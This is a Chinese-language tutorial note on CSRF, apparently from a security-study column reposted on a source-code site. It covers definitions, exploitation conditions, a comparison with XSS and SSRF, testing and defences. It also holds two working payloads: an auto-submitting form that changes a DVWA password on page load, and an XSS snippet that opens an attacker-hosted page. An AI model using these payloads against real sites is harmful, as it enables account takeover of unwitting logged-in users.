-
CSRF 跨站请求伪造
-
定义:跨站请求伪造。攻击者通过生成恶意链接,利用用户已登录的身份信息执行恶意操作;
-
原理:利用用户已登录的身份信息执行恶意的操作;
-
CSRF漏洞利用条件:(天时)用户处于登录状态,(地利)修改内容没有二次校验,(人和)用户点击恶意链接;
-
XSS,CSRF 与 SSRF 的区别
XSS CSRF SSRF 定义 跨站脚本攻击 跨站请求伪造 服务端请求伪造 针对目标 针对网站的内容和脚本 针对用户的操作 针对目标服务器能访问的资源 是否登录 无需登录 需要登录 无需登录 -
如何(挖掘)测试CSRF漏洞?
- 在修改网站数据且没有二次校验的地方进行测试,如修改用户信息和密码的功能点;
-
如何利用CSRF漏洞?
- 登录后,Burp抓包,修改数据,生成恶意链接,用户点击后触发;
-
怎么防御CSRF漏洞?
- 添加二次校验;验证 Referer 来源;Token(令牌)验证;
-
如果 Token 字段设置在 Cookie 中可以预防 CSRF 吗?
- 不可以,因为 CSRF 攻击会携带用户 Cookie 发送恶意请求;
-
CSRF 利用的工具:Burp
-
CSRF + XSS组合
-
Payload1 替换 form 标签内的代码为目标页面,放入 VPS 的网站目录中
<html> <body onload="javascript:fireForms()"> <script language="JavaScript"> var pauses = new Array( "42" ); function pausecomp(millis){ var date = new Date(); var curDate = null; do { curDate = new Date(); } while(curDate-date < millis);} function fireForms(){ var count = 1; var i=0; for(i=0; i<count; i++){ document.forms[i].submit(); pausecomp(pauses[i]);}} </script> <form action="http://127.0.0.1/DVWA-master/vulnerabilities/csrf/"> <input type="hidden" name="password_new" value="password" /> <input type="hidden" name="password_conf" value="password" /> <input type="hidden" name="Change" value="Change" /> <input type="submit" value="Submit request" /> </form> </body> </html>
-
Payload2 替换为攻击者文件的 URL,进行 XSS 注入,每调用一次执行一次
<script src=1 onerror=javascript:window.open("http://192.168.3.1/2.html")></script>
-
-
免责声明
-
本专栏内容仅供参考,不构成任何投资、学习或专业建议。读者在参考本专栏内容时,应结合自身实际情况,谨慎作出决策。
-
本专栏作者及发布平台尽力确保内容的准确性和可靠性,但无法保证内容的绝对正确。对于因使用本专栏内容而导致的任何损失,作者及发布平台概不负责。
-
本专栏部分内容来源于网络,版权归原作者所有。如有侵权,请及时联系我们,我们将尽快予以处理。
-
读者在阅读本专栏内容时,应遵守相关法律法规,不得将内容用于非法用途。如因读者行为导致不良后果,作者及发布平台不承担任何责任。
-
本免责声明适用于本专栏所有内容,包括文字、图片、音频、视频等。读者在阅读本专栏内容时,视为已接受本免责声明。
-
作者及发布平台保留对本免责声明的解释权和修改权,如有变更,将第一时间在本专栏页面进行公告。读者继续使用本专栏内容,视为已同意变更后的免责声明。
敬请广大读者谅解。如有疑问,请联系我们。谢谢!
本站资源均来自互联网,仅供研究学习,禁止违法使用和商用,产生法律纠纷本站概不负责!如果侵犯了您的权益请与我们联系!
转载请注明出处: 免费源码网-免费的源码资源网站 » 2.3_CSRF跨站请求伪造
发表评论 取消回复